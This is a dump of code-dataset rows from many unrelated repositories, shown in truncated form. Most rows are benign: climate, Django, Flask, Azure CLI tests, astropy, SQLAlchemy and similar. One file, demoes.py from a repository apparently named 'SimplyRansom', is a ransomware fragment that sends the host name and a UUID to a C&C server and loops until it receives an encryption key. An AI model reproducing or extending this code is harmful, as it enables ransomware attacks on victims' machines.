b915058dff571f22e4319a8f36452085750592cc | 4,130 | py | Python | openpeerpower/components/touchline/climate.py | pcaston/core | e74d946cef7a9d4e232ae9e0ba150d18018cfe33 | [
"Apache-2.0"
] | null | null | null | openpeerpower/components/touchline/climate.py | pcaston/core | e74d946cef7a9d4e232ae9e0ba150d18018cfe33 | [
"Apache-2.0"
] | null | null | null | openpeerpower/components/touchline/climate.py | pcaston/core | e74d946cef7a9d4e232ae9e0ba150d18018cfe33 | [
"Apache-2.0"
] | null | null | null | """Platform for Roth Touchline floor heating controller."""
from pytouchline import PyTouchline
import voluptuous as vol
from openpeerpower.components.climate import PLATFORM_SCHEMA, ClimateEntity
from openpeerpower.components.climate.const import (
HVAC_MODE_HEAT,
SUPPORT_PRESET_MODE,
SUPPORT_TARGET_TEMPE... | 30.820896 | 78 | 0.670218 |
0f5e5d26ef2cc49c6fb8916502aa4e4819a9cbe3 | 7,574 | py | Python | Sketches/MPS/BugReports/FixTests/Kamaelia/Kamaelia/Apps/SA/Chassis.py | sparkslabs/kamaelia_orig | 24b5f855a63421a1f7c6c7a35a7f4629ed955316 | [
"Apache-2.0"
] | 12 | 2015-10-20T10:22:01.000Z | 2021-07-19T10:09:44.000Z | Sketches/MPS/BugReports/FixTests/Kamaelia/Kamaelia/Apps/SA/Chassis.py | sparkslabs/kamaelia_orig | 24b5f855a63421a1f7c6c7a35a7f4629ed955316 | [
"Apache-2.0"
] | 2 | 2015-10-20T10:22:55.000Z | 2017-02-13T11:05:25.000Z | Sketches/MPS/BugReports/FixTests/Kamaelia/Kamaelia/Apps/SA/Chassis.py | sparkslabs/kamaelia_orig | 24b5f855a63421a1f7c6c7a35a7f4629ed955316 | [
"Apache-2.0"
] | 6 | 2015-03-09T12:51:59.000Z | 2020-03-01T13:06:21.000Z | # -*- coding: utf-8 -*-
# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1)
#
# (1) Kamaelia Contributors are listed in the AUTHORS file and at
# http://www.kamaelia.org/AUTHORS - please extend this file,
# not this notice.
#
# Licensed under the Apache License, Version 2.0 (the "Lice... | 36.589372 | 110 | 0.571825 |
80f7199fc354d2ecfb1168387bbf65294845b61a | 1,919 | py | Python | sveske/sources/15_Appetite/hello5.py | milica325/unibl_radionica | 34a753a663f9ad6a3f1031cd6755748526046376 | [
"BSD-3-Clause"
] | 2 | 2019-09-18T19:21:44.000Z | 2019-09-19T00:00:25.000Z | sveske/sources/15_Appetite/hello5.py | milica325/unibl_radionica | 34a753a663f9ad6a3f1031cd6755748526046376 | [
"BSD-3-Clause"
] | null | null | null | sveske/sources/15_Appetite/hello5.py | milica325/unibl_radionica | 34a753a663f9ad6a3f1031cd6755748526046376 | [
"BSD-3-Clause"
] | 34 | 2019-09-18T14:39:38.000Z | 2019-09-20T06:45:07.000Z | # We're going to try to add some style to our website
# but if we continue to deal with just strings, it's going to get messy
from flask import Flask, url_for, render_template
app = Flask(__name__)
import logging
logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s")
log = logging.getLogger(__n... | 33.086207 | 94 | 0.692027 |
7543b1afce4e26100a08d8f92d342ca461c14c6f | 815 | py | Python | djagno_F/class_based_views/manage.py | mohammad716e/python_training | 0654623c603c775ed2cbdc3919dc815891c8fdeb | [
"MIT"
] | null | null | null | djagno_F/class_based_views/manage.py | mohammad716e/python_training | 0654623c603c775ed2cbdc3919dc815891c8fdeb | [
"MIT"
] | null | null | null | djagno_F/class_based_views/manage.py | mohammad716e/python_training | 0654623c603c775ed2cbdc3919dc815891c8fdeb | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "class_based_views.settings")
try:
from django.core.management import execute_from_command_line
except ImportError:
# The above import may fail for some other reason. Ensure... | 35.434783 | 81 | 0.646626 |
03dd81142a5b35883d5a8d2ee6240726dae6ec6f | 79 | py | Python | 001146StepikPyBegin/Stepik001146PyBeginсh09p02st04TASK03_20210127.py | SafonovMikhail/python_000577 | 739f764e80f1ca354386f00b8e9db1df8c96531d | [
"Apache-2.0"
] | null | null | null | 001146StepikPyBegin/Stepik001146PyBeginсh09p02st04TASK03_20210127.py | SafonovMikhail/python_000577 | 739f764e80f1ca354386f00b8e9db1df8c96531d | [
"Apache-2.0"
] | null | null | null | 001146StepikPyBegin/Stepik001146PyBeginсh09p02st04TASK03_20210127.py | SafonovMikhail/python_000577 | 739f764e80f1ca354386f00b8e9db1df8c96531d | [
"Apache-2.0"
] | null | null | null | '''
Что покажет приведенный ниже фрагмент кода?
'''
s = 'abcdefg'
print(s[:3]) | 15.8 | 44 | 0.658228 |
8ee90fcbe141ae77409d2d8ca0a0280d4ed7107e | 323 | py | Python | srv/responses/response_codes.py | atomicfruitcake/gnutty | b96493dfb6fa5010e67e104e9baca5a5e06373ab | [
"MIT"
] | null | null | null | srv/responses/response_codes.py | atomicfruitcake/gnutty | b96493dfb6fa5010e67e104e9baca5a5e06373ab | [
"MIT"
] | null | null | null | srv/responses/response_codes.py | atomicfruitcake/gnutty | b96493dfb6fa5010e67e104e9baca5a5e06373ab | [
"MIT"
] | null | null | null | """!
@author atomicfruitcake
@date 2020
HTTP Response Codes class
"""
from enum import IntEnum
class ResponseCodes(IntEnum):
OK = 200
CREATED = 201
ACCEPTED = 202
BAD_REQUEST = 400
UNAUTHORIZED = 401
PAYMENT_REQUIRED = 402
FORBIDDEN = 403
NOT_FOUND = 400
INTERNAL_SERVER_ERROR = 5... | 15.380952 | 31 | 0.678019 |
e26e8dcc0449ec33efbd3f0b3a3ef0881d68c04c | 478 | py | Python | netcs/wsgi.py | jaisonoh/netcs | 6959925bfe6e7df89ad643bccb8af455ead0a5be | [
"MIT"
] | null | null | null | netcs/wsgi.py | jaisonoh/netcs | 6959925bfe6e7df89ad643bccb8af455ead0a5be | [
"MIT"
] | 1 | 2017-04-13T02:13:19.000Z | 2017-04-13T03:07:06.000Z | netcs/wsgi.py | jaisonoh/netcs | 6959925bfe6e7df89ad643bccb8af455ead0a5be | [
"MIT"
] | null | null | null | """
WSGI config for netcs project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
from whitenoise.django import DjangoWh... | 25.157895 | 78 | 0.801255 |
89fc295f7ec777fd532a2ce26a84e45ea304ec1f | 248,136 | py | Python | src/azure-cli/azure/cli/command_modules/sql/tests/latest/test_sql_commands.py | nexxai/azure-cli | 3f24ada49f3323d9310d46ccc1025dc99fc4cf8e | [
"MIT"
] | null | null | null | src/azure-cli/azure/cli/command_modules/sql/tests/latest/test_sql_commands.py | nexxai/azure-cli | 3f24ada49f3323d9310d46ccc1025dc99fc4cf8e | [
"MIT"
] | null | null | null | src/azure-cli/azure/cli/command_modules/sql/tests/latest/test_sql_commands.py | nexxai/azure-cli | 3f24ada49f3323d9310d46ccc1025dc99fc4cf8e | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 52.615776 | 316 | 0.576825 |
84d49d73236e389c8368402ddb8a44b8e710e078 | 1,883 | py | Python | CIM100/IEC61970/Base/Wires/Connector.py | MaximeBaudette/PyCIM | d68ee5ccfc1d32d44c5cd09fb173142fb5ff4f14 | [
"MIT"
] | null | null | null | CIM100/IEC61970/Base/Wires/Connector.py | MaximeBaudette/PyCIM | d68ee5ccfc1d32d44c5cd09fb173142fb5ff4f14 | [
"MIT"
] | null | null | null | CIM100/IEC61970/Base/Wires/Connector.py | MaximeBaudette/PyCIM | d68ee5ccfc1d32d44c5cd09fb173142fb5ff4f14 | [
"MIT"
] | null | null | null | # Copyright (C) 2010-2011 Richard Lincoln
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish... | 47.075 | 383 | 0.752523 |
6a31faedd10862f043690aeb42f51230da0ed67b | 26,970 | py | Python | astropy/io/misc/tests/test_hdf5.py | emirkmo/astropy | d96cd45b25ae55117d1bcc9c40e83a82037fc815 | [
"BSD-3-Clause"
] | null | null | null | astropy/io/misc/tests/test_hdf5.py | emirkmo/astropy | d96cd45b25ae55117d1bcc9c40e83a82037fc815 | [
"BSD-3-Clause"
] | null | null | null | astropy/io/misc/tests/test_hdf5.py | emirkmo/astropy | d96cd45b25ae55117d1bcc9c40e83a82037fc815 | [
"BSD-3-Clause"
] | null | null | null | # Licensed under a 3-clause BSD style license - see LICENSE.rst
import pytest
import numpy as np
from astropy.table import Table, QTable, Column
from astropy.table.table_helpers import simple_table
from astropy.units import allclose as quantity_allclose
from astropy.units.quantity import QuantityInfo
from astropy.ut... | 32.651332 | 100 | 0.62944 |
85ee7c41e21617462b4c57bce42e3add2629edea | 1,423 | py | Python | components/gcp/container/component_sdk/python/kfp_component/google/dataflow/_process.py | 15379180/pipelines | 589c905b426062d4b8ee9bf47855c1d5e87bb749 | [
"Apache-2.0"
] | 102 | 2019-10-23T20:35:41.000Z | 2022-03-27T10:28:56.000Z | components/gcp/container/component_sdk/python/kfp_component/google/dataflow/_process.py | 15379180/pipelines | 589c905b426062d4b8ee9bf47855c1d5e87bb749 | [
"Apache-2.0"
] | 1,932 | 2021-01-25T11:23:37.000Z | 2022-03-31T17:10:18.000Z | components/gcp/container/component_sdk/python/kfp_component/google/dataflow/_process.py | 15379180/pipelines | 589c905b426062d4b8ee9bf47855c1d5e87bb749 | [
"Apache-2.0"
] | 85 | 2019-10-24T04:04:36.000Z | 2022-03-01T10:52:57.000Z | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 35.575 | 74 | 0.666901 |
21361a4d81b343084c033cb3cb5017b3f6f5e2f0 | 555 | py | Python | day8/prime.py | kendopunk/udemy-python | 5307d699481d6401d95aa96f596edff0ee25abf3 | [
"MIT"
] | null | null | null | day8/prime.py | kendopunk/udemy-python | 5307d699481d6401d95aa96f596edff0ee25abf3 | [
"MIT"
] | null | null | null | day8/prime.py | kendopunk/udemy-python | 5307d699481d6401d95aa96f596edff0ee25abf3 | [
"MIT"
] | null | null | null | import py_compile
from re import I
def checkIsPrime(num):
isPrime = True
if num <= 1:
isPrime = False
else:
for i in range(2, num):
if num % i == 0:
isPrime = False
break
return isPrime
# number = input("$> enter number to check: ")
# try:... | 19.137931 | 56 | 0.522523 |
d4f882abce91fde96a3e785c08bcf018c45cd5eb | 617 | py | Python | benchmark/utils/metrics/recognition.py | opencv/opencv_zoo | 2fe27c0ebae3e4093d4c9494d20d5224d6d650e5 | [
"Apache-2.0"
] | 62 | 2021-09-08T08:56:05.000Z | 2022-03-30T11:07:38.000Z | benchmark/utils/metrics/recognition.py | opencv/opencv_zoo | 2fe27c0ebae3e4093d4c9494d20d5224d6d650e5 | [
"Apache-2.0"
] | 31 | 2021-09-09T06:34:47.000Z | 2022-03-31T07:48:18.000Z | benchmark/utils/metrics/recognition.py | opencv/opencv_zoo | 2fe27c0ebae3e4093d4c9494d20d5224d6d650e5 | [
"Apache-2.0"
] | 7 | 2021-09-08T06:32:59.000Z | 2022-03-09T09:27:16.000Z | import cv2 as cv
from .base_metric import BaseMetric
from ..factory import METRICS
@METRICS.register
class Recognition(BaseMetric):
def __init__(self, **kwargs):
super().__init__(**kwargs)
def forward(self, model, *args, **kwargs):
img, bboxes = args
self._timer.reset()
for i... | 26.826087 | 46 | 0.583468 |
4e7f30719dbe2658459eda9ad646794f06456b1d | 303 | py | Python | LBO.py | rzf16/sbb2_algs | 3511da89eb51844207d644aef38909cce5c3d4da | [
"MIT"
] | 1 | 2021-12-18T02:10:45.000Z | 2021-12-18T02:10:45.000Z | LBO.py | rzf16/sbb2_algs | 3511da89eb51844207d644aef38909cce5c3d4da | [
"MIT"
] | null | null | null | LBO.py | rzf16/sbb2_algs | 3511da89eb51844207d644aef38909cce5c3d4da | [
"MIT"
] | 1 | 2021-06-06T20:15:40.000Z | 2021-06-06T20:15:40.000Z | import numpy as np
def single_optimize(size,value,eta,zeta):
a = 0.1083869
b = 0.99837249
c = 0.02535
if value == 0.0:
return 0
action = -a/(np.log(2)*(zeta/eta)*value) + 1/b
if action <=0 :
action = 0
elif action >= 1:
action = 1
return action
| 18.9375 | 50 | 0.541254 |
2da30a9cf76488970115978c01b509df4c80ea98 | 65 | py | Python | simple_sensor_server/__init__.py | ethan92429/ThermoGraph | 794c0234ecbde5054d190cfea40610d232941b39 | [
"MIT"
] | null | null | null | simple_sensor_server/__init__.py | ethan92429/ThermoGraph | 794c0234ecbde5054d190cfea40610d232941b39 | [
"MIT"
] | null | null | null | simple_sensor_server/__init__.py | ethan92429/ThermoGraph | 794c0234ecbde5054d190cfea40610d232941b39 | [
"MIT"
] | null | null | null | # this package displays live and saved temp readings on a website | 65 | 65 | 0.815385 |
f2d428fb8b674cde6ce81b5eb0d15e51c83f3c53 | 5,088 | py | Python | examples/information_extraction/waybill_ie/run_ernie_crf.py | XieYunshen/PaddleNLP | c3d1df6e9e9b77df7af74b7f8a819182ee9c3a7f | [
"Apache-2.0"
] | null | null | null | examples/information_extraction/waybill_ie/run_ernie_crf.py | XieYunshen/PaddleNLP | c3d1df6e9e9b77df7af74b7f8a819182ee9c3a7f | [
"Apache-2.0"
] | null | null | null | examples/information_extraction/waybill_ie/run_ernie_crf.py | XieYunshen/PaddleNLP | c3d1df6e9e9b77df7af74b7f8a819182ee9c3a7f | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 36.085106 | 86 | 0.673546 |
366524bea558b2276bf64907be1ab474e839a293 | 794 | py | Python | migall/urls.py | wangilamain/gallery-app | 4368d7f98bc4f80f703796fff1427aec363f0e4b | [
"MIT"
] | null | null | null | migall/urls.py | wangilamain/gallery-app | 4368d7f98bc4f80f703796fff1427aec363f0e4b | [
"MIT"
] | null | null | null | migall/urls.py | wangilamain/gallery-app | 4368d7f98bc4f80f703796fff1427aec363f0e4b | [
"MIT"
] | null | null | null | """migall URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based ... | 34.521739 | 77 | 0.70403 |
4a063e4a6f283f63b8ebf786a89b3cb9ffb7de5d | 23,529 | py | Python | src/azure-cli/azure/cli/command_modules/resource/_params.py | dyna-dot/azure-cli | 47d67e6e47a574a82b53c181084b29479aa92d51 | [
"MIT"
] | 1 | 2019-10-01T10:29:15.000Z | 2019-10-01T10:29:15.000Z | src/azure-cli/azure/cli/command_modules/resource/_params.py | dyna-dot/azure-cli | 47d67e6e47a574a82b53c181084b29479aa92d51 | [
"MIT"
] | null | null | null | src/azure-cli/azure/cli/command_modules/resource/_params.py | dyna-dot/azure-cli | 47d67e6e47a574a82b53c181084b29479aa92d51 | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 78.43 | 303 | 0.713417 |
f67b270d30e8bd19cd94d29cb2e458dd6025b60e | 19,112 | py | Python | Alignment/MuonAlignmentAlgorithms/python/gather_cfg.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | Alignment/MuonAlignmentAlgorithms/python/gather_cfg.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | Alignment/MuonAlignmentAlgorithms/python/gather_cfg.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | import os
import FWCore.ParameterSet.Config as cms
# for json support
try: # FUTURE: Python 2.6, prior to 2.6 requires simplejson
import json
except:
try:
import simplejson as json
except:
print "Please use lxplus or set an environment (for example crab) with json lib available"
sys... | 56.544379 | 199 | 0.772604 |
8d30d13663c2c9ea5791bc61c4a9a4e5d279736b | 2,064 | py | Python | 2020/13/asdf.py | Ernest1338/AdventOfCode | 69ff951e1e82b93f6507edceb83ac19ecb4cb8cf | [
"MIT"
] | 1 | 2021-12-01T21:08:27.000Z | 2021-12-01T21:08:27.000Z | 2020/13/asdf.py | Ernest1338/AdventOfCode | 69ff951e1e82b93f6507edceb83ac19ecb4cb8cf | [
"MIT"
] | null | null | null | 2020/13/asdf.py | Ernest1338/AdventOfCode | 69ff951e1e82b93f6507edceb83ac19ecb4cb8cf | [
"MIT"
] | null | null | null | inputfile = open('input.txt','r').readlines()
for i in range(len(inputfile)):
inputfile[i] = inputfile[i].strip('\n')
part = 1 # 1 or 2
answer = 0
if part == 1:
number = int(inputfile[0])
buses = inputfile[1].split(",")
buses = [i for i in buses if i != "x"]
bus23 = ["."]
bus41 = ["."]
bus... | 26.805195 | 79 | 0.493702 |
747c790a23932bac4c17f1738bc0ecf1ebf73720 | 173 | py | Python | cli_app/engine/randomiser.py | namuan/news-rider | 2f8f5204eda717e39ab7d4c048692d5ec2eb5449 | [
"MIT"
] | 5 | 2021-04-26T20:46:30.000Z | 2021-05-03T07:29:31.000Z | cli_app/engine/randomiser.py | namuan/news-rider | 2f8f5204eda717e39ab7d4c048692d5ec2eb5449 | [
"MIT"
] | null | null | null | cli_app/engine/randomiser.py | namuan/news-rider | 2f8f5204eda717e39ab7d4c048692d5ec2eb5449 | [
"MIT"
] | null | null | null | from random import randint
import time
from .log_helper import logger
def sleepr():
n = randint(10, 20)
logger.info(f"Sleeping for {n} seconds")
time.sleep(n)
| 17.3 | 44 | 0.693642 |
732e6e2ef636dae7f9f17927c54c015827a3279e | 782 | py | Python | db/database.py | inf6150-doublej/backend | 7734bce3b531213f62eb04c2f89cecde490702b8 | [
"MIT"
] | null | null | null | db/database.py | inf6150-doublej/backend | 7734bce3b531213f62eb04c2f89cecde490702b8 | [
"MIT"
] | 27 | 2019-05-10T00:01:39.000Z | 2019-06-08T19:09:23.000Z | db/database.py | inf6150-doublej/backend | 7734bce3b531213f62eb04c2f89cecde490702b8 | [
"MIT"
] | null | null | null | # coding: utf8
import sqlite3
from binascii import a2b_base64
import os
class Database:
__instance = None
@staticmethod
def get_connection():
if Database.__instance == None:
Database()
return Database.__instance.connection
def __init__(self):
if Database.__instan... | 25.225806 | 76 | 0.636829 |
2cd69f1cbf142ad59aebe2d7a1fbe78ccd721261 | 6,602 | py | Python | ckanext/os/tests/functional/test_widgets.py | datagovuk/ckanext-os | 49eefdd5a9e8a5b950c161860307b6e1fdd071ca | [
"BSD-3-Clause"
] | 2 | 2015-07-06T00:16:07.000Z | 2015-07-06T00:20:58.000Z | ckanext/os/tests/functional/test_widgets.py | datagovuk/ckanext-os | 49eefdd5a9e8a5b950c161860307b6e1fdd071ca | [
"BSD-3-Clause"
] | 1 | 2016-12-28T09:21:41.000Z | 2016-12-28T09:21:41.000Z | ckanext/os/tests/functional/test_widgets.py | datagovuk/ckanext-os | 49eefdd5a9e8a5b950c161860307b6e1fdd071ca | [
"BSD-3-Clause"
] | 2 | 2019-05-01T13:14:15.000Z | 2021-04-10T21:22:20.000Z | from urllib import urlencode, quote
from urlparse import urlparse, parse_qs
from nose.tools import assert_equal, assert_raises
from ckanext.os.controllers.widgets import Proxy, ValidationError
from ckanext.os.tests import MockOsServerCase
from ckan.tests import TestController
class TestSearchProxy(TestController, Mo... | 40.503067 | 335 | 0.624811 |
d02e5386a03432f695c9f79bbfd96a5e52c4036b | 7,793 | py | Python | coaster/sqlalchemy/columns.py | RJ722/coaster | 5492231201511f33de8cc8a4467530085d28d3a6 | [
"BSD-2-Clause"
] | null | null | null | coaster/sqlalchemy/columns.py | RJ722/coaster | 5492231201511f33de8cc8a4467530085d28d3a6 | [
"BSD-2-Clause"
] | null | null | null | coaster/sqlalchemy/columns.py | RJ722/coaster | 5492231201511f33de8cc8a4467530085d28d3a6 | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
SQLAlchemy column types
-----------------------
"""
from __future__ import absolute_import
import six
from sqlalchemy import Column, UnicodeText
from sqlalchemy.ext.mutable import Mutable, MutableComposite
from sqlalchemy.orm import composite
from sqlalchemy.types import TEXT, TypeDecorat... | 30.924603 | 128 | 0.643398 |
494b15beecdba167a54ca759a502ced9f9174683 | 1,535 | py | Python | misc/various_scales.py | zgulde/zgulde-python | 0dd89962b4ca2141ebe4335ef0200b0595d06d4d | [
"MIT"
] | 10 | 2019-04-22T00:10:58.000Z | 2021-05-16T01:00:16.000Z | misc/various_scales.py | zgulde/zgulde-python | 0dd89962b4ca2141ebe4335ef0200b0595d06d4d | [
"MIT"
] | null | null | null | misc/various_scales.py | zgulde/zgulde-python | 0dd89962b4ca2141ebe4335ef0200b0595d06d4d | [
"MIT"
] | null | null | null | import scipy.stats
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
import sklearn.preprocessing
from zgulde import partition
plt.ion()
scalers = [
("minmax", sklearn.preprocessing.MinMaxScaler()),
("standard", sklearn.preprocessing.StandardScaler()),
("quantile", sklearn.prepro... | 30.098039 | 86 | 0.656026 |
007723117a57c0025091f921cac98561f08398d5 | 143 | py | Python | physunits/time_units.py | pacosalces/physunits | 0c24350569b94cf1aa00adfa668028dbe85e75ee | [
"MIT"
] | 1 | 2021-11-02T16:20:04.000Z | 2021-11-02T16:20:04.000Z | physunits/time_units.py | pacosalces/physunits | 0c24350569b94cf1aa00adfa668028dbe85e75ee | [
"MIT"
] | 3 | 2020-09-20T00:56:14.000Z | 2021-11-02T21:55:58.000Z | physunits/time_units.py | pacosalces/physunits | 0c24350569b94cf1aa00adfa668028dbe85e75ee | [
"MIT"
] | null | null | null | import numpy as np
# SI
s, ms, us, ns, ps = np.logspace(0, -12, 5)
# Other
minute = 60 * s
hour = 60 * minute
day = 24 * hour
week = 7 * day | 14.3 | 42 | 0.58042 |
453adfd4d9f7cf1d126247d146b6114170f89baa | 1,643 | py | Python | app/models.py | VictorKMaina/news-app | f90bcf13a60f05ead6a441154114a493240d55ba | [
"MIT"
] | null | null | null | app/models.py | VictorKMaina/news-app | f90bcf13a60f05ead6a441154114a493240d55ba | [
"MIT"
] | null | null | null | app/models.py | VictorKMaina/news-app | f90bcf13a60f05ead6a441154114a493240d55ba | [
"MIT"
] | null | null | null | class Source:
"""
Class to define structure and methods of news sources
"""
def __init__(self, id, name, description, url, category, country):
self.id = id
self.name = name
self.description = description
self.url = url
self.category = category
self.country... | 31.596154 | 108 | 0.603774 |
1fcf14f95e3c992a0d62bd83227c8299e2024657 | 1,211 | py | Python | anime_downloader/sites/init.py | miasmaejuices/anime-downloader | ec7afdfd71917dd2e37195d26219e5c252035e22 | [
"Unlicense"
] | 1 | 2019-09-26T02:38:31.000Z | 2019-09-26T02:38:31.000Z | anime_downloader/sites/init.py | miasmaejuices/anime-downloader | ec7afdfd71917dd2e37195d26219e5c252035e22 | [
"Unlicense"
] | null | null | null | anime_downloader/sites/init.py | miasmaejuices/anime-downloader | ec7afdfd71917dd2e37195d26219e5c252035e22 | [
"Unlicense"
] | null | null | null | from importlib import import_module
import logging
ALL_ANIME_SITES = [
# ('filename', 'sitename', 'classname')
('nineanime', '9anime', 'NineAnime'),
('gogoanime', 'gogoanime', 'GogoAnime'),
('kissanime', 'kissanime', 'KissAnime'),
('kisscartoon', 'kisscartoon', 'KissCartoon'),
('masterani', 'ma... | 34.6 | 79 | 0.511974 |
41fc940a4235f36187bd967e1ff19eb894bbeb89 | 12,723 | py | Python | pyvisfile/silo/__init__.py | mattwala/pyvisfile | 41c908e1530d73a2af83fa9436751cb46c0f922a | [
"MIT"
] | null | null | null | pyvisfile/silo/__init__.py | mattwala/pyvisfile | 41c908e1530d73a2af83fa9436751cb46c0f922a | [
"MIT"
] | null | null | null | pyvisfile/silo/__init__.py | mattwala/pyvisfile | 41c908e1530d73a2af83fa9436751cb46c0f922a | [
"MIT"
] | null | null | null | from __future__ import division, absolute_import
__copyright__ = "Copyright (C) 2007,2010 Andreas Kloeckner"
import six
__license__ = """
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without ... | 36.878261 | 85 | 0.660536 |
2b70930f34fe4c77c2c36e5571bcdda25456d48f | 135 | py | Python | src/qsiprep_analyses/data/bids.py | GalBenZvi/qsiprep_analyses | 51512cffca218210f6b85e5eadd593b382963bbd | [
"Apache-2.0"
] | null | null | null | src/qsiprep_analyses/data/bids.py | GalBenZvi/qsiprep_analyses | 51512cffca218210f6b85e5eadd593b382963bbd | [
"Apache-2.0"
] | 1 | 2022-03-31T12:00:58.000Z | 2022-03-31T12:00:58.000Z | src/qsiprep_analyses/data/bids.py | GalBenZvi/qsiprep_analyses | 51512cffca218210f6b85e5eadd593b382963bbd | [
"Apache-2.0"
] | 1 | 2022-03-31T12:01:12.000Z | 2022-03-31T12:01:12.000Z | from pathlib import Path
BIDS_CONFIGURATION_FILE = (
Path(__file__).parent / "derivatives.json"
).absolute()
# flake8: noqa: E501
| 19.285714 | 46 | 0.733333 |
5d0ee337ee9fd5ec1ea1b021e3dd88473b57bbcd | 1,450 | py | Python | demoes.py | GenoiSec/SimplyRansom | 54d9d24868d4a948441333b2393b13aa6098c27e | [
"BSD-2-Clause"
] | 1 | 2018-07-19T17:48:15.000Z | 2018-07-19T17:48:15.000Z | demoes.py | GenoiSec/SimplyRansom | 54d9d24868d4a948441333b2393b13aa6098c27e | [
"BSD-2-Clause"
] | null | null | null | demoes.py | GenoiSec/SimplyRansom | 54d9d24868d4a948441333b2393b13aa6098c27e | [
"BSD-2-Clause"
] | null | null | null | # get a KEY from the ecdec server
import requests, uuid, os
UUID = uuid.uuid4()
host_name = os.environ['COMPUTERNAME']
encryption_key = ""
# register with C&C server
while encryption_key == "":
url = '#yourlink'
payload = {'uuid': UUID, 'host': host_name}
r = requests.get(url, params=payload)
if r.s... | 30.208333 | 114 | 0.595862 |
146d5f5b6d1a61a1a94d6bb4771de5875877a709 | 7,336 | py | Python | test/new_tests/test_admin_drop_user.py | syaiful6/aerospike-client-python | 59fa0d36aa899a164282643fe49b27d12aaf323f | [
"Apache-2.0"
] | 105 | 2015-01-07T09:51:13.000Z | 2022-03-24T04:23:54.000Z | test/new_tests/test_admin_drop_user.py | syaiful6/aerospike-client-python | 59fa0d36aa899a164282643fe49b27d12aaf323f | [
"Apache-2.0"
] | 180 | 2015-01-01T19:29:50.000Z | 2022-03-19T14:14:06.000Z | test/new_tests/test_admin_drop_user.py | syaiful6/aerospike-client-python | 59fa0d36aa899a164282643fe49b27d12aaf323f | [
"Apache-2.0"
] | 94 | 2015-01-21T19:17:48.000Z | 2022-01-31T07:17:47.000Z | # -*- coding: utf-8 -*-
import pytest
import sys
import time
from .test_base_class import TestBaseClass
from aerospike import exception as e
aerospike = pytest.importorskip("aerospike")
try:
import aerospike
except:
print("Please install aerospike python client.")
sys.exit(1)
@pytest.mark.usefixtures("c... | 28.65625 | 78 | 0.583424 |
d913c78afcc03ed4c2383275533d2664e17f4b92 | 9,027 | py | Python | doc/src/conf.py | wa-dev/PyFR | 59d85a00a19ffc30cc464f2aff96f735310f9407 | [
"BSD-3-Clause"
] | null | null | null | doc/src/conf.py | wa-dev/PyFR | 59d85a00a19ffc30cc464f2aff96f735310f9407 | [
"BSD-3-Clause"
] | null | null | null | doc/src/conf.py | wa-dev/PyFR | 59d85a00a19ffc30cc464f2aff96f735310f9407 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
#
# PyFR documentation build configuration file, created by
# sphinx-quickstart on Sat Oct 6 23:44:12 2012.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All co... | 30.914384 | 82 | 0.691703 |
6f48813f969b457943a08d0f317612d3f0cab486 | 418 | py | Python | Mundo02/Python/venv/Scripts/pip-script.py | molonti/CursoemVideo---Python | 4f6a7af648f7f619d11e95fa3dc7a33b28fcfa11 | [
"MIT"
] | null | null | null | Mundo02/Python/venv/Scripts/pip-script.py | molonti/CursoemVideo---Python | 4f6a7af648f7f619d11e95fa3dc7a33b28fcfa11 | [
"MIT"
] | null | null | null | Mundo02/Python/venv/Scripts/pip-script.py | molonti/CursoemVideo---Python | 4f6a7af648f7f619d11e95fa3dc7a33b28fcfa11 | [
"MIT"
] | null | null | null | #!C:\Users\Molon\Documents\CursoemVideo\Mundo02\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys... | 32.153846 | 71 | 0.672249 |
be5ef71858bce34d702f79d71fda2b449a309b91 | 22,698 | py | Python | imgtools/ops/functional.py | bhklab/med-imagetools | 0cce0ee6666d052d4f76a1b6dc5d088392d309f4 | [
"Apache-2.0"
